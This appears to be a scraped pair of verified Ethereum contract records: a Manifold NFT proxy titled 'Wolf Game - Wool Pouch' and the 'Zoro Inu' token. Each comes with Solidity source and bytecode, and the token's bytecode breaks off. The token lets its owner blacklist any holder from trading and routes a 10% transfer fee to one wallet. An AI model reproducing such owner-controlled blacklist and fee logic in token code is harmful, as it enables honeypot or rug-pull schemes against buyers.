// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Wolf Game - Wool Pouch /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////// // // // // // sdsdsdsd // // // // // //////////////////// contract Ma is ERC721Creator { constructor() ERC721Creator("Wolf Game - Wool Pouch", "Ma") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f45616d4092056a058e27190ba2ef56901cdce0d62d5981a16ab8371df51a71864736f6c63430008070033
[ 5 ]
0xf2410b769d695b27e7bfc9ad4506b899f1b98a04
/* Zoro Inu | $ZORO ⚔️ “His dream…. is to become the greatest swordsman in the world” https://t.me/ZoroInu https://twitter.com/ZoroInuToken https://www.zoroinutoken.com/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ZORO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Zoro Inu"; string private constant _symbol = "ZORO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xBe4942189989d2b80570D5f19e123cb9E8772dB2); _feeAddrWallet2 = payable(0xBe4942189989d2b80570D5f19e123cb9E8772dB2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 3e10 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a71565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125eb565b61042a565b60405161016d9190612a56565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bd3565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612598565b610459565b6040516101d59190612a56565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906124fe565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612c48565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612674565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906124fe565b61074f565b6040516102a69190612bd3565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612988565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612a71565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125eb565b610959565b6040516103509190612a56565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061262b565b610977565b005b34801561038e57600080fd5b50610397610aa1565b005b3480156103a557600080fd5b506103ae610b1b565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612558565b611078565b6040516103e49190612bd3565b60405180910390f35b60606040518060400160405280600881526020017f5a6f726f20496e75000000000000000000000000000000000000000000000000815250905090565b600061043e6104376110ff565b8484611107565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112d2565b610527846104726110ff565b610522856040518060600160405280602881526020016132fd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86110ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d79092919063ffffffff16565b611107565b600190509392505050565b61053a6110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b33565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b33565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6110ff565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c8161193b565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a36565b9050919050565b6107a86110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5a4f524f00000000000000000000000000000000000000000000000000000000815250905090565b600061096d6109666110ff565b84846112d2565b6001905092915050565b61097f6110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b33565b60405180910390fd5b60005b8151811015610a9d57600160066000848481518110610a3157610a30612f90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9590612ee9565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae26110ff565b73ffffffffffffffffffffffffffffffffffffffff1614610b0257600080fd5b6000610b0d3061074f565b9050610b1881611aa4565b50565b610b236110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba790612b33565b60405180910390fd5b600f60149054906101000a900460ff1615610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf790612bb3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611107565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd657600080fd5b505afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e919061252b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7057600080fd5b505afa158015610d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da8919061252b565b6040518363ffffffff1660e01b8152600401610dc59291906129a3565b602060405180830381600087803b158015610ddf57600080fd5b505af1158015610df3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e17919061252b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea03061074f565b600080610eab6108f3565b426040518863ffffffff1660e01b8152600401610ecd969594939291906129f5565b6060604051808303818588803b158015610ee657600080fd5b505af1158015610efa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1f91906126ce565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506801a055690d9db800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110229291906129cc565b602060405180830381600087803b15801561103c57600080fd5b505af1158015611050573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107491906126a1565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612b93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de90612ad3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c59190612bd3565b60405180910390a350